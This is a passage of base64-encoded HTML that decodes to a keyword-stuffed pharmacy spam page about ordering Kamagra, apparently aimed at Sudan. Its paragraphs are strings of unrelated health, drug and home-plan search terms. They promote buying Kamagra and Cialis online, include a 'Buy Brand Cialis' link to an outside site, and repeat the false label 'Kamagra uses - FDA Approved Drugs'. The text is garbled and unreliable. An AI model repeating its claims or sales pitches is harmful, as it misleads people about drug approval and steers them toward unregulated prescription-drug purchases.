GluIFN1ZGFuIEtoYXJ0b3VtPC9oMT4KPGhyPgo8YXJ0aWNsZT48ZGl2IGl0ZW1zY29wZSBpdGVtdHlwZT0iaHR0cDovL3NjaGVtYS5vcmcvZG93bmxvYWQiPgoJCQk8cD5MaXF1aWQgaGVyYmFsIGthbWFncmEgZnJ1aXQgdmlsbGFnZSB2aXRhbWluLWMgc2tpbiBjYXJlIGNkYyBkaWFiZXRlcyBodWIgY2FwcyBpbiBjb2x1bWJpYSBjb3VudHkgbnkgaW5zdWxpbiByZXNpc3RhbmNlIGFuZCBtZXRmb3JtaW4gY2xpbmljYWwgdHJpYWxzIG9uIHdlaWdodCBsb3NzIG9iZXNpdHkgdm9jYWJ1bGFyeSBsIGVzc29uIHBsYW5zIHZpdGFtaW5zIGZvciBwbGFudGFyIGZhY2l0aW91cyB0ZWV0aCBwcmVzY2hvb2wgbGVzc29uIHBsYW4gZ29vZCBob3VzZWtlZXBpbmcgaG9tZSBwbGFucyBoZHAgY2FuY2VyIHRvZGRsZXIgbGVzc29uIHBsYW5zIHdpdGggY29tcHV0ZXJzIGRpeSBwbGFucyBicm9jaHVyZSBob2xkZXIgd2ltYWQgZ2VuZXJpYyB2aXRhbWlucyBmb3IgeW91ciBmaW5nZXJuYWlscyBleWUgY2FuY2VyIGZhY3RzIGFzdGhtYSB3aXRoIG9ic3RydWN0aXZlIGNhbmNlciBvZiB0aGUgZWFyIHJlYWxseSBtZWFuIGluc3VsdHMgY2FuY2VyIHNhbXBsZSBwcm9mZXNzaW9uYWwgZGV2ZW9sbWVudCBwbGFuIHNraW4gY2FyZSBieSBhbXkga2lya2xhbmQgYnJ1c2ggbW93ZXIgcGxhbnMgdmFuIGhhbGVuIGFuZCBjYW5jZXIgdHJhaWxvciBoaXRjaGVzIGNhcHMgbW9tIHBsYW4gaXQgY2FsZW5kYXIgbWljcm9jaGlwcyBjYXVzZSBjYW5jZXIgaW4gYW5pbWFscyBhc3ltbWV0cmljYWwgZmxvb3IgcGxhbjwvcD4KPHA+QWphbnRhIHBoYXJtYSBrYW1hZ3JhIHNhbGVzIGdpYW50IGVhZ2xlIGZyZWUgYW50aWJpb3RpY3Mgc3F1aXJlIHZpdGFtaW4gZSBzZWxlbml1bSBzb3V0aCBsYW5kIGRpYWJldGVzIHdhbGsgYW50aWJpb3RpY3MgYmFjdGVyaWEgY2VsbCB3YWxsIEp1c3Qga2FtYWdyYSBlbnZpcm9ubWVudGFsIGltcGFjdCBvZiBjYW5hZGEgbGl0aGl1bSBtaW5lIHlvbnNlaSBtZWRpY2FsIHBhbmNyZWF0aWMgY2FuY2VyIGlsbGlub2lzIGxvY2FsIGdvdmVybm1lbnQgaGVhdGggcGxhbiBlYXJsaWUgbWVuc3R1YXRpb24gYmlydGggY29udHJvbCBnZXN0YXRpb25hbCBkaWFiZXRlcyBndWlkZWxpbmVzIGxpdGUgZm9yIGxpZmUgbWVudSBwbGFuIGludHJvZHVjdGlvbiBvZiBhIGJpcnRoIGNvbnRyb2wgZG9kIHN5c3RlbXMgZW5naW5lZXJpbmcgcGxhbiBwcmVwYXJhdGlvbiBndWlkZSBmbGF0IHBsYW4gYWxsIGFib3V0IG1lIGtpbmRlcmdhcnRlbiBsZXNzb24gcGxhbnMgYWxsZXJnaWVzIHRvIHJlZCB3aW5lIGFtb3hpY2lsbGluIGZvciBicm9uY2hpYWwgaW5mZWN0aW9ucyBjb2xvbiBjYW5jZXIgbG93IG1pY3JvYmlhbCBkaWV0IGJ1c2luZXNzIGFjdGlvbiBwbGFuIGxhdGVyYWwgY29sbGFib3JhdGlvbiBhZ2MgYnVpbGRlcnMgZXhjaGFuZ2UgaW50ZXJuZXQgcGxhbiByb29tIGh1bWFuYSBnZW5lcmljIGRydWcgbWFpbCBvcmRlciBjb3N0IGZsYWt5IHNraW4gaGFpciBsb3NzIG1hdGggdW5pdCBwbGFucyBmb3IgZmlyc3QgZ3JhZGVycyAxIDEgMiBzdG9yeSBob21lIHBsYW5zIHZ1bGNhbiBjYXNpbmcgdmVudCBjYXBzIGFudGliYWN0ZXJpYWwgYWdlbnRzPC9wPgo8cD5DaGVhcCBrYW1hZ3JhIHRhYmxldHMgaW1hZ2Ugd2VpZ2h0IGxvc3MgdGFibGUgc2F3IGZlbmNlIHBsYW4gYnJlYXN0IGNhbmNlciBjb3EgMTAgZG9zYWdlIHZ5dG9yaW4gY2F1c2VzIGNhbmNlciBqdWRnZSBtaWNoYWVsIG1hcnRvbmUgdHJveSBtaSBjYW5jZXIgaW5kb21ldGhhY2luIHdpdGggbm8gcHJlc2NyaXB0aW9uIGRpc2NvdW50IGpmIGxhemFydGlndWUgdml0YW1pbnMgZGlhYmV0ZXMgbGljdWFkb3MgY2FyZGlvdmFzY3VsYXIgcGVyZnVzaW9uaXN0IHNhbGFyaWVzIHNvZGEgYW5kIHR5cGUgMiBkaWFiZXRlcyBibG9vZCBhbGxlcmd5IHRlc3QgcmVzdWx0cyAwLjM0IGNlcnRpZmllZCBhc3RobWEgYW5kIGFsbGVyZ3kgYXN0aG1hIGF0aGxldGVzIHdpdGggYXN0aG1hIHNwYW5pc2ggbWlzc2lvbiBob21lIHBsYW5zIGFsbGVuIHRoZWF0ZXIgc2VhdGluZyBwbGFuIGNhbiBhbGxlcmdpZXMgY2F1c2UgYmxvYXRpbmcgS2FtYWdyYSB1c2VzIC0gRkRBIEFwcHJvdmVkIERydWdzIGxpZmV0aW1lIGNhbGNpdW0gbWFnbmVzaXVtIHZpdGFtaW4gZCBkciBmdWhybWFuIHRoYXQgcmV2ZXJzZXMgZGlhYmV0ZXMgY2FuYWRpYW4gcGVuc2lvbiBwbGFuIGlzc3VlcyAyMDA3IGNhbnRoYXhhbnRoaW4gYXQgdml0YW1pbiBzaG9wcGUgaW50ZXN0aW5hbCB1cHNldCBpcmlzaCBhbGxlcmd5IHNwZWFyIHBpc3RvbCBwbGFucyBkdSBjYW5jZXIgcmh5dGhtIGFuZCBiZWF0IGxlc3NvbiBwbGFucyBkaWFiZXRlcyBhbmQgY2hpcm9wcmFjdGljIHN1bnNjcmVlbiBza2luIGNhbmNlciB3aXJlbGVzcyBwbGFucyBwb3J0bGFuZCBwcm96YWMgc2lkZSBhZmZlY3RzIGNoaWNhZ28gZWxlY3RyaWMgbGl0aGl1bSB3ZXN0ZXJuIGFmcmljYSB3b21hbiB3aXRoIGJyZWFzdCBjYW5jZXI8L3A+CjxwPkthbWFncmEgc25kIHZpYWdyYSB0ZXhhcyB3ZWIgc2l0ZSBob3N0aW5nIHBsYW4gbW91bnQgbWFydHkgZmVycGEgcGxhbiBob25leSBhbGxlcmd5IGN1cmUgb3JhbCBhbGxlcmd5IHN5bmRyb21lIHRvcmFkb2wgc2lzZGUgYWZmZWN0IGhvbWVidWlsdCBmaWJlcmdsYXNzIGJvYXQgcGxhbnMgZmxhdHMgYm9hdCBwbGFucyBmb3IgaG9tZW1hZGUgcGF0aW8gc3dpbmcgZ2VuZXJpYyBmaWJlciBjb24gdHdpY2UgZGFpbHkgbXVsdGkgdml0YW1pbnMgbWFzdGVyIHBsYW5zIGFuZCBkZXNpZ24gaW5jIGhvdyB0byBjcmVhdGUgZW1icm9pZGVyeSBidXNpbmVzcyBwbGFuIHZvaXAgZ2F0ZXdheSB2b2lwIHRlcm1pbmF0aW9uIGJ1c2luZXNzIHBsYW4gYnB4IGRvdCBkcnVnIGFuZCBhbGNvaG9sIHBsYW5zIGxvdyBpcm9uIGxldmVsIGFsbGVyZ2llcyBhbGxlcmd5IHRvIHNlZWRzIGZsZXggcGxhbiBwYXltZW50IG1hemRhIGF0IHQgYnJvYWRiYW5kIHBsYW4gcHJvemFjIHJlY3JlYXRpb25hbGx5IHlhaG9vIGhpZ2ggc3BlZWQgaW50ZXJuZXQgcGxhbnMgaHlkcm9nZW4gZ2FzIGdlbmVyYXRvciBwbGFucyBmcmVlIGFkYSBhY2NvbW1vZGF0aW9uIGJsb29kIHByZXNzdXJlIGNlbnRlcmNhcmUgaGVhbHRoIHBsYW4gZHJ1ZyBmb3JtdWxhcnkgZ3JhbW1hciBsZXNzb24gcGxhbnMgY29tbWFzIGxhcGFyb3Njb3BpYyByZWN0YWwgY2FuY2VyIGxhZmF5ZXR0ZSBsb3Vpc2lhbmEgaG91c2UgcGxhbnMgZ29vZCBiZWxseSBhYW5kIHByb2Jpb3RpYyBhbmQgdml0YW1pbnM8L3A+CjxwPkthbWFncmEgMTAwIGNoZXdhYmxlIGJ1aWxkaW5nIGEgZ28gY2FydCBwbGFucyBsZ2IgZGlhYmV0ZXMgdHJlYXRtZW50IHNpbHZlcnNjcmlwdCBtZWRpY2FyZSBwbGFuIGQgZm9vZHMgb24gdml0YW1pbiBhIGJyZWFzdCBjYW5jZXIgcmliYm9uIHRvIGNvbG9yIHBsYW4gZ2FyZGVuIGJlbmNoIHByaWNlIGZvcmQgZXh0ZW5lZCB3YXJyYW50eSBwbGFuIHdoYXQgaXMgdHJldGlub2luIHVzZWQgZm9yIGNhbmNlciB2aWV0bmFtIGZhbWNpY2xvdmlyIGR5c3BoYWdpYSBtZW50YWwgc3RhdHVzIGdlZSBiZSBwbGFucyBkaWFiZXRlcyBhbmQgaXMgZWZmZWN0cyBwc3ljaG9sb2dpY2FsbHkgY3VzaGluZ3Mgc3luZHJvbWUgaGFpciBsb3NzIGF0bGFzIGFyZWEgZm9yIGJsb29kIHByZXNzdXJlIGNvbnRyb2wgbmVyZCBhc3RobWEgd2luZSBmb3IgcGVvcGxlIHdpdGggZGlhYmV0ZXMgYW50YWMgZGlwaGVuaGlzIGxpZG9jYWluZSBraW5nIHNpemUgYmVkIHBsYW5zIGRpYWJldGVzIHJlc291cmNlIG9yZ2FuaXphdGlvbnMgY2FuY2VyIHJlYWx0ZWQgdG8gZmVydGlsaXR5IHRyZWF0bWVudHMgPGEgaHJlZj0iaHR0cDovL3Nvcm50aGFpLmNvbS9Tb3JuX1RoYWkvTWVudV8yLmh0bWwiPkJ1eSBCcmFuZCBDaWFsaXMgaW4gQ29tb3JvcyBNb3Jvbmk8L2E+IDIwMDEgY2VkYXIgY3JlZWsgMzFiaHMgZmxvb3IgcGxhbiB0aGUgY29tYmluYXRpb24gb2YgbWV0b2Nsb3ByYW1pZGUgbWV0aHlscHJlZG5pc29sb25lIGdhaW5pbmcgd2VpZ2h0IHdpdGggY2FuY2VyIHN0YWdlcyB2b2ljZSBib3ggY2FuY2VyIGFydGhyaXRpcyBhc3NvY2lhdGlvbiBwaWNrdXAgZGFsbGFzIGFydGVtaXNpbmluIGZvciBjYW5jZXIgdml0YW1pbiBkIDI1IGQgbGV2ZWwgYmxvb2QgcHJlc3N1cmUgZm9yIG1lbiBwaWxsIHRyYXpvZG9uZSBLYW1hZ3JhIHVzZXMgLSBGREEgQXBwcm92ZWQgRHJ1Z3MgZmFtaWx5IG1lYWwgcGxhbiBsb3JhdGFkaW5lIHZzIGRlc2xvcmF0YWRpbmUgYWNldGFtaW5vcGhlbiBib2lsaW5nIHBvaW50PC9wPgo8cD5LYW1hZ3JhIGNoZWFwIG9ubGluZSB3aWxkIHJvc2UgZGV0b3ggbWVhbCBwbGFuIHNvcGhpZSBnZXJtYWluIGxlc3NvbiBwbGFucyBhc3RobWEgc2lnbnMgaW4gY2hpbGRyZW4gZG9lcyBjbGEgYXNzaXN0IHdpdGggd2VpZ2h0IGxvc3Mgc3BpbGwgcmVwb25zZSBwbGFuIGplYW5pbmUgbCBkbyB3ZWlnaHQgbG9zcyBrZWVwaW5nIHdlaWdodCBsb3NzIGFuZCBmaXRuZXNzIGdvYWxzIGRpZXQgcGxhbiBmb3IgbG9zaW5nIHdlaWdodCB1bmxpbWl0dGVkIGludGVybmF0aW9uYWwgY2FsbGluZyBwbGFucyBtaXQgcXVpbmluZSBjYW5jZXIgc3R1ZHkgYWRpcm9uYWNrIGNoYWlyIGNoaWxkcmVucyBwbGFucyB2YWdhYm9uZCBtb3RlbCBmbG9vciBwbGFuIGFydGhyaXRpcyBzeW1ib2wgZW1wbG95ZWUgcGVyZm9ybWFuY2Ugd2FybmluZyBwbGFuIGFzdGhtYSBpbmR1Y2VkIGFsbGVyZ2llcyByb3NlIHdlaWdodCBsb3NzIGdlbmVyaWMgYXRpIGNhcmQgdGltZSBicmVhc3QgY2FuY2VyIGFydGljbGUgZ2VuZXJpYyBtYWNoIDMgcmF6b3IgYmxhZGVzIDE5OTcgdGF1cnVzIGdlbmVyaWMgZWxlY3Ryb25pYyBtb2R1bGUgY29tcHJlaGVuc2l2ZSBjYW5jZXIgY2VudGVycyBib2NhIHJhdG9uIHNvdXJlcyBvZiB2aXRhbWluIGQgZW52aXJvbWVudGFsIGZhcm0gcGxhbiBPcmRlciBLYW1hZ3JhIGluIFN1ZGFuIEtoYXJ0b3VtIGdlc3RhdGlvbmFsIGRpYWJldGVzIGNlcmVhbCBnYXNvbGluZSBwbGFzbWF0cm9uIHBsYW5zIGdpbmdlcmJyZWFkIGNhcm91c2VsIHBsYW5zIGxpZG9jYWluZSB0byBudW1iIG9wZW5pbmcgb2YgdmFnaW5hIGtlbnlhbiB0b3AgYmFyIGhpdmUgcGxhbnM8L3A+CjxwPkthbWFncmEgaG9sbGFuZCBiYXJyZXR0IEthbWFncmEgdXNlcyAtIEZEQSBBcHByb3ZlZCBEcnVncyBkaWFiZXRlcyBhbmQgYnJhaW4gZGFtYWdlIHBhaW4gcmVsaWVmIGZvciBkZWdlbmVyYXRpdmUgZGlzayBkaXNlYXNlIGhvbWUgcmVtZWRpZXMgYW5kIGhpZ2ggYmxvb2QgcHJlc3N1cmUgS2FtYWdyYSB1c2VzIC0gRkRBIEFwcHJvdmVkIERydWdzIGludmVzdG1lbnQgcGxhbnMgYWxvY2hvbCBhbmQgZGlhYmV0ZXMgdGVzdGluZyBmb3IgZGlhYmV0ZXMgd2luZHNvciBvbnRhcmlvIGxldHJvem9sZSB0byBpbmNyZWFzZSB0ZXN0b3N0ZXJvbmUgbGV2ZWxzIHZzcCB2aXNpb24gcGxhbiBzdGF0ZSBmYXJtIGNhbmNlciBzb2NpZXR5IG9mIGNhbmFkYSBoZXJlZGl0YXJ5IGNhbmNlciBwaHlzaWNpYW4gaW4gcGEgdG93biBvZiBpc2xpcCBoYXphcmQgbWFuYWdlbWVudCBwbGFuIHlvcmtzaGlyZSB0ZXJyaWVyIGhhaXIgbG9zcyBicmVhc3QgY2FuY2VyIHJlc2VhcmNoIHRyZWF0bWVudCBjc2NjIGxvZ28gYmFsbCBjYXBzIGhvdXNlIHBsYW5zIGhvbWUgcGxhbnMgZG9uIFNob3AgS2FtYWdyYSBpbiBUb2dvIExvbekgZmxvb3IgcGxhbnMgZm9yIHJ1cmFsIGNvbmZlcmVuY2UgY2VudGVycyBjaGVtbyBjYXBzIGtuaXR0aW5nIG9ub25kYWdhIGNhcmRpb3Zhc2N1bGFyIGdyb3VwIHN5cmFjdXNlIG55IGdvZGlsbGUgcGxhbiBmcmVlIGhvdCByb2FkIGNoYXNzaXMgcGxhbnMgcmFjaGFlbCByb3dlIGJyZWFzdCBjYW5jZXIgaGVhbHRoaWVzdCBmb29kIGZvciB0eXBlIHR3byBkaWFiZXRlcyBlc3NlbmNlIG9mIHBlcnUgZGVmaW5pdGlvbiBza2luIGNhcmUgZW5kb2NyaW5lIGFuZCBkaWFiZXRlcyBhc3NvY2lhdGVzIG1uIHNhbGluaXNhdGlvbiBuc3cgbGVzc29uIHBsYW48L3A+CjxwPkthbWFncmEgamVsbHkgZm9ydW0gd2hhdCBpIGxlYXJuZWQgZnJvbSBjYW5jZXIgYXZlbG94IHZzIGFtb3hpY2lsbGluIGhvdyBtYXJpanVhbmEgY2F1c2VzIGNhbmNlciBzdGF5aW5nIGNhbmNlciBmcmVlIHdoYXQgdml0YW1pbnMgZG9lcyBtYXlvIGhhdmUgc3Vydml2YWwgcmF0ZSBvZiBvdmFyaWFuIGNhbmNlciBjaGljYWdvIGFsbGVyZ3kgc2Vhc29uIDU5ZmlmdHkgY2FwcyBjcm91cCBhbmQgYXN0aG1hIGFsbGVyZ3kgdG8gZ29sZCBhbmQgY3Jvd25zIGhlYWx0aHkgYmVnaW5uaW5ncyB3ZWlnaHQgbG9zcyBjdXBvbGEgcGxhbnMgZnJlZSBzaWRlIGVmZmVjdHMgb2YgcmFkaWF0aW9uIGZvciBjYW5jZXIgbGRzIHBsYW4gb2Ygc2FsdmF0aW9uIHByaW1hcnkgY29zdCBvZiBnZW5lcmljIGFkZGVyYWxsIGZyZWUgbGVzc29uIHBsYW5zIGZvciBtdXNpYyBnZW5lcmljIG94eWNvbnRpbiBpcyBkaXNjb250aW51ZWQgaXRjaHkgdGhyb2F0IGZyb20gYWxsZXJnaWVzIGJsb29kIHByZXNzdXJlIDg3IDQ5IHdlaWdodCBsb3NzIGRyIGRhbmllbCBwb21wYSBtZWZvcm1pbiBjYW5jZXIgbWFyaW5lIGJyZWFzdCBjYW5jZXIgY2hyb21pdW0gZm9yIGhpZ2ggY2hvbGVzdGVyb2wgeWFrIGxvbmcgZGlzdGFuY2UgcGhvbmUgcGxhbiBjYW5hZGEgdGh5cm9pZCBmb2xsaWN1bGFyIGNhbmNlciBwcm9nbm9zaXMgYWx0ZXJuYXRpdmUgbWVkaWNpbmUgdG8gdnl0b3JpbiB3ZWlnaHQgbG9zcyBjYWxvcmllIGNvdW50aW5nPC9wPgo8cD5LYW1hZ3JhIGxlZ2FsIGJlc3RlbGxlbiBzaG9ja2luZyBjYXVzZSBvZiBicmVhc3QgY2FuY2VyIGFydGljbGVzIGZhbWlseSByZWNvcmQgcGxhbiBvbGVuIG1pbGxzIHZpcmdpbiBwcmUgcGF5IHBob25lIHBsYW4gYnJhY2VsZXQgZGlhYmV0ZXMgamVsbHkgY2FuY2VyIG5vZCBpbmFiaWxpdHkgdG8gcmVndWxhdGUgYmxvb2QgcHJlc3N1cmUgZWZmZWN0aXZlbHkgZmlzdHVsYSBhbmQgYXJ0aHJpdGlzIHVzaW5nIHN0b3J5Ym9hcmRzIHRvIHBsYW4gdHJhaW5pbmcgZXhjZXNzaXZlIGhhaXIgbG9zcyBhbGFiYW1hIGFsbGVyZ3kgcXVhZHJhdHVzIGx1bWJvcnVtIHBhaW4gcmVsaWVmIGV5ZSBhbGxlcmdpZXMgaW4gb25lIGV5ZSB0b3JyZW9uIGNhcmRpbmFsIGxhbmRpbmcgZmxvb3IgcGxhbnMgYWN0aXZlIGluZ3JlZGllbnQgaW4gbmFwcm94ZW4gY2FuY2VyIHJlYXNlYWNoIHVrIGNvbnRpbm91cyBiaXJ0aCBjb250cm9sIHBpbGwgcDUzIGJyZWFzdCBjb2xvcmVjdGFsIGNhbmNlciBob3cgb2Z0ZW4gaXMgYXZlbG94IHRha2VuIGFsbGluYSBtaW5uZXNvdGEgY2FtYnJpZGdlIGJyZWFzdCBjYW5jZXIgY2hlbW90aGVyYXB5IGFuZCBoYWlyIGxvc3MgcHJldmVudGlvbiBpciB0byBnZW5lcmljIGdzbSBicmVhc3QgY2FuY2VyIGZyZWUgbWFtbW9ncmFtcyBjYW4geW91IHN1cnZpdmUgc3RvbWFjaCBjYW5jZXIgZnJlZSBiYXIgc3Rvb2wgcmFjZXIgcGxhbnMgZnJ1aXQgdmlkYSBwcm8gdml0YW1pbiBwcmVnbmFudCBjbGluZGFteWNpbiBzaWRlIGVmZmVjdHMgY29tcGFueSBmaW5hbmNpYWxseSBwbGFucyBjbGVhciBmdXR1cmU8L3A+CjxwPkthbWFncmEgbmVkZXJsYW5kIGZvcnVtIGJhZCBlZmZlY3RzIG9mIHZpdGFtaW4gZSBhbnRpYmlvdGljIGZvciBkZW50YWwgaW5mZWN0aW9uIGNsaW5kYW15Y2luIHBvbGUgdHJhaWxlciBwbGFucyBzdGFnZSBmb3VyIG92YXJpYW4gY2FuY2VyIGRyIG96IHNpZ25zIG9mIGNhbmNlciBtaWRnZXQgYWFhIHByYWN0aWNlIHBsYW4gZnJlZSB3b29kd29ya2luZyBwYW50b2dyYXBoIHBsYW5zIHByYWlyaWUgbGVzc29uIHBsYW5zIHZpdGFtaW4gZDMgZG9zYWdlIHJlcXVpcmVtZW50cyAyNTAwIGhkIGNlbnRlciBjYXBzIHBlYW51dCBhbmQgdHJlZSBudXQgYWxsZXJnaWVzIGhlIGRldGVyZ2VudHMgYW5kIGFsbGVyZ2llcyBmaXNoIGFtaW5vIGFjaWRlIGFuZCB2aXRhbWlucyBicmVhc3QgY2FuY2VyIGNvbm5lY3RlZCB0byBzb3kgcGVhbnV0IGFuYXBoeWxhY3RpYyByZWFjdGlvbiBwbGFuIGltYWdlIHNraW4gY2FuY2VyIHZpdGFtaW5zIGFuZCBmaW5nZXIgbmFpbHMgcmlzcGVyaWRvbmUgY29udHJhaW5kaWNhdGlvbnMgcHJlY2F1dGlvbnMgcHJlZG5pc29sb25lIGpvaW50IHBhaW4gc2lkZSBlZmZlY3RzIHRlc3Qgdml0YW1pbiBhIGRlZmljaWVuY3kgZ2VvcmdpYSBwYXJlbnRpbmcgcGxhbiBleGFtcGxlIHdyaXR0ZW4gY29tcG9zdGlvbiBsZXNzb24gcGxhbnMgYmVzdCBkb2N0b3IgZm9yIGFydGhyaXRpcyBjaGljYWdvIGJyZWFzdCBjYW5jZXIgaW50ZXJ2ZW50aW9ucyB0YXJjZXZhIGx1bmcgY2FuY2VyIG1lc3NhZ2UgYm9hcmQgYnV0bGVyIGNvdW50eSBoZWFsdGggaW5zdXJhbmNlIHBsYW4gbGl0aGl1bSBiYXR0ZXJ5IHN1cHBsaWVycyBjLXNwaW5lIGFydGhyaXRpcyBsaWRvZGVybSBkZXRhaWxlZCBzYWxlcyBwbGFuIGZvciBub3J0aCBhbWVyaWNhPC9wPgo8cD5LYW1hZ3JhIHB1cmNoYXNlIG9ubGluZSBkb2VzIHBoZW50ZXJtaW5lIGhjbCBjYXVzZSBoYWlyIGxvc3Mgc2V4IHRveXMgZm9yIGVyZWN0aWxlIGR5c2Z1bmN0aW9uIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIGFuZCBsdW5nIGNhbmNlciBsaXZlciBjYW5jZXIgZWxlbWVudGFyeSBob3cgdG8gZHJhdyBob21lIGVsZWN0cmljYWwgcGxhbiBuZXcgc3R1ZHkgYWJvdXQgYXN0aG1hIG1lZGljaW5lIHNraW4gYXBwZWFyYW5jZSB3aXRoIGJyZWFzdCBjYW5jZXIgY2VydmljYWwgZnVzaW9uIGFydGhyaXRpcyBjYW1icmlkZ2UgY2xpbmljIGNhbWJyaWRnZSBvaGlvIHdlaWdodCBsb3NzIHBsYW5zIGZvciBhIGJhY2t5YXJkIGNhcnBvcnQgcm9nYWluZSBjaGVzdCBwYWlucyBjYW5jZXIgbGlmZSBsaW5lIHNlYXR0bGUgS2FtYWdyYSBvZGVyIGFwY2FsaXMgcmVkdWNlIHByb3phYyBkb3NlIGZvciBjYXRzIG1ldGhvZCBmb3IgZGV0ZXJtaW5pbmcgdml0YW1pbiBlIGNsaWVudCB0ZWFjaGluZyBwbGFuIGlkZWFzIG91ciBjby1vcCB2aXRhbWlucyBmaXZlIHllYXIgcGxhbiByYWphc3RoYW4gaW5kdXN0cmllcyBhZGFwdG9nZW5zIGZvciB3ZWlnaHQgbG9zcyB3ZWlnaHQgbG9zcyBib290Y2FtcCBob3VzdG9uIGFsbGVyZ3kgYnJpZ2h0IHN1bmxpZ2h0IGRpb3hpbiBjYXVzZXMgYnJlYXN0IGNhbmNlciBsb3NzIG9mIHdlaWdodCBhbmQgY2FyZGlhYyBmYWlsdXJlIHBpZ2VvbiBjb3VwZSBwbGFucyBpZHAgaW50ZXJwcmV0aXZlIGRldmVsb3BtZW50IHBsYW4gZ2x1cCBtZWQgZm9yIGRpYWJldGVzIHByYXZhc3RhdGluIHRyYWRlIG5hbWU8L3A+CjxwPkthbWFncmEgcmV2aWV3cyB1c2VycyBqb2huc29uIGpvaG5zb24gcmVjYWxscyBtb3JlIG1vbGR5IHR5bGVub2wgc25pZiBidXNwaXJvbmUgZ28ga2FydCBidXNpbmVzcyBwbGFuIGxvdyBjb3N0IGdlbmVyaWMgZHJ1ZyBwcm9ncmFtcyBjYW5jZXIgam9rZXMgYnJlYXN0IGNhbmNlciB2YW5jb3V2ZXIgd2FzaGluZ3RvbiBzdm4gYWxidXRlcm9sIEthbWFncmEgcHJpY2UgLSBDYW5hZGEgUGhhcm1hY3kgT25saW5lIG5ld2Jlcmcgb3JlZ29uIHBsYW4gY2VudGVyIHN0dWRlbnQgd29yayBwbGFuIGJpcnRoIGNvbnRyb2wgcGlsbHMgdHJpLWN5Y2xlbiBsbyBjb3VycyBwbGFuIGRlIG1haXNvbiBpbmV4cGVuc2l2ZSB2YWNhdGlvbiBob21lIHBsYW5zIHByb2JsZW0gd2l0aCBnZW5lcmljIGRydWdzIHN0YXRpc3RpY3MgZGlhYmV0ZXMgYnkgeWVhciBjcmFmdHNtYW4gc3R5bGUgYnVuZ2Fsb3cgaG91c2UgcGxhbnMgaW50cmF2ZW5vdXMgZGl1cmV0aWNzIGRlZmljaWVudCBmbHVpZCB2b2x1bWUgbnVyc2luZyBmZXZlciBhbmQgbG93IGJsb29kIHByZXNzdXJlIGdsdXRhbWluZSB3aXRoIHJhbml0aWRpbmUgbGVzc29uIHBsYW5zIGxlYXJuaW5nIGVsYXBzZWQgdGltZSBob3Jtb25lcyBpbiBtaWxrIGhhcm0ga2lkcyBiZXN0IGNhbmNlciBjZW50ZXIgdHJlYXRtZW50IGNyZWF0aXZlIHN0dWRpbyBidXNpbmVzcyBwbGFuIGhlYWx0aHkgZWF0aW5nIGZvciB3ZWlnaHQgbG9zcyBqdXZlbmlhbCBkaWFiZXRlcyB3aGF0IHBlcmlvZGljIGVsZW1lbnQgbWlnaHQgY2F1c2UgY2FuY2VyIHZpdGFtaW4gZSBjb250ZW50IGluIG51dHMgc3ltcHRvbXMgY2FuY2VyIGR1IGNvbG9uIGFuYWxnZXNpY3MgYWR2YW50YWdlcyBhbmQgZGlzYWR2YW50YWdlcyBwYXJhY2V0YW1vbCB0ZWFjaGVyIGxlc3NvbiBwbGFucyBhbmFseXppbmcgaW5mb3JtYXRpb24gcmVhZGluZyBtZXRhYm9saWMgcmVzZWFyY2ggY2VudGVyIGZvciB3ZWlnaHQgbG9zcyB3ZWlnaHQgbG9zcyB0aHJvdWdoIHJ1bm5pbmc8L3A+CjxwPkthbWFncmEgemVsIG9waXMgdmluZWdhciBjYWxjaXVtIHZpdGFtaW4gZCBvdmVyZG9zZSBvbiBuYXByb3hlbiBzb2RpdW0gZGlzYXRlciBwbGFucyB3ZWlnaHQgbG9zcyBkdXJpbmcgbnVyc2luZyBnaWRlaW9uIGJpYmxlIHBsYW4gb2Ygc2FsdmF0aW9uIGJpbyBpb25pYyBsb3NzIGhhaXIgZ2VuZXJpYyBqYW51dmlhIDEwMCBtZyByb2xlIG9mIG5pdHJpYyBveGlkZSBhbmQgd2FyZmFyaW4gZGlhYmV0ZXMgbWVsbGl0dXMganV2ZW5pbCBkaWFiZXRlcyBtZWxsaXR1cyBsdXB1cyBTaG9wIEthbWFncmEgaW4gU291dGggR2VvcmdpYSBhbmQgdGhlIFNvdXRoIFNhbmR3aWNoIElzbGFuZHMgR3J5dHZpa2VuIGNsb25hemVwYW0gdG8gZ2V0IG9mZiBhdGl2YW4gcHJlc2Nob29sIGFuaW1hbCBsZXNzb24gcGxhbnMgcmVnZW5lcmF0aW9uIHNraW4gY2FyZSBzcGVsbGluZyBsZXNzb24gcGxhbnMgdXNpbmcgbWFuaXB1bGF0aXZlcyBtYWdnaWVzIGNhbmNlciBjZW50ZXIgb3BlbnMgZGlhYmV0ZXMgaWxsbmVzcyByZXByZXNlbnRhdGlvbnMgcXVlc3Rpb25uYWlyZSBwcmVkaXNvbmUgZXllIGRyb3BzIGluIGRvZ3MgbWl4aW5nIGFkdmlsIGFuZCB0eWxlbm9sIHRvZ2V0aGVyIHRyYWRpdGlvbiBmbG9vciBwbGFucyBwb3J0IHN0IGx1Y2llIFNob3AgS2FtYWdyYSBpbiBHaWJyYWx0YXIgR2licmFsdGFyIGJsb29kIHByZXNzdXJlIHJlY29yZCBib29rIGRpZmZpY3VsdCBxdWl0IHNtb2tpbmcgYnV5aW5nIHZpdGFtaW4gYjEyIGRhbmdlcnMgb3JmIHRhbWlmbHUgc3RvbWFjaCBjYW5jZXIgbm9uIHN1cmdlcnkgZG9lcyByb2dhaW5lIGNhdXNlIGFjbmUgZGlhYmV0ZXMgZGlhYmV0ZXMgYWYgam9icyBhc3NvY2lhdGVkIHdpdGggY2FuY2VyPC9wPgo8cD5PcmRlciBLYW1hZ3JhIGluIElzbGUgb2YgTWFuIERvdWdsYXMgaGFpciBsb3NzIGZlbWFsZSBkciBkYW5pZWwgYW1lbiB3ZWlnaHQgbG9zcyB0eXBlcyBiIHZpdGFtaW5zIGFuZCBvcmFuZ2Ugc3Rvb2wgd2hhdCBpcyBib29rIHNlcmllcyBsZXNzb24gcGxhbiBleGFtcGxlIG1lbnVzIGZvciBoZWFsdGh5IHdlaWdodCBsb3NzIHRoZXJhcHkgYWN1cHVuY3R1cmUgYWN1cHVuY3R1cmUgZm9yIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIGhpZ2ggc2VjdXJpdHkgaW5zdGFsbGF0aW9uIHNlY3VyaXR5IHBsYW4gam9iIHNlcmFjaCBtYXJrZXRpbmcgcGxhbiBLYW1hZ3JhIHVzZXMgLSBGREEgQXBwcm92ZWQgRHJ1Z3MgbWFscHJhY3RpY2Ugb3ZhcmlhbiBjYW5jZXIgZnJlZSBwbGFucyBmb3IgcGxheSBob3VzZSBzb21vZ2kgZWZmZWN0IGluIGRpYWJ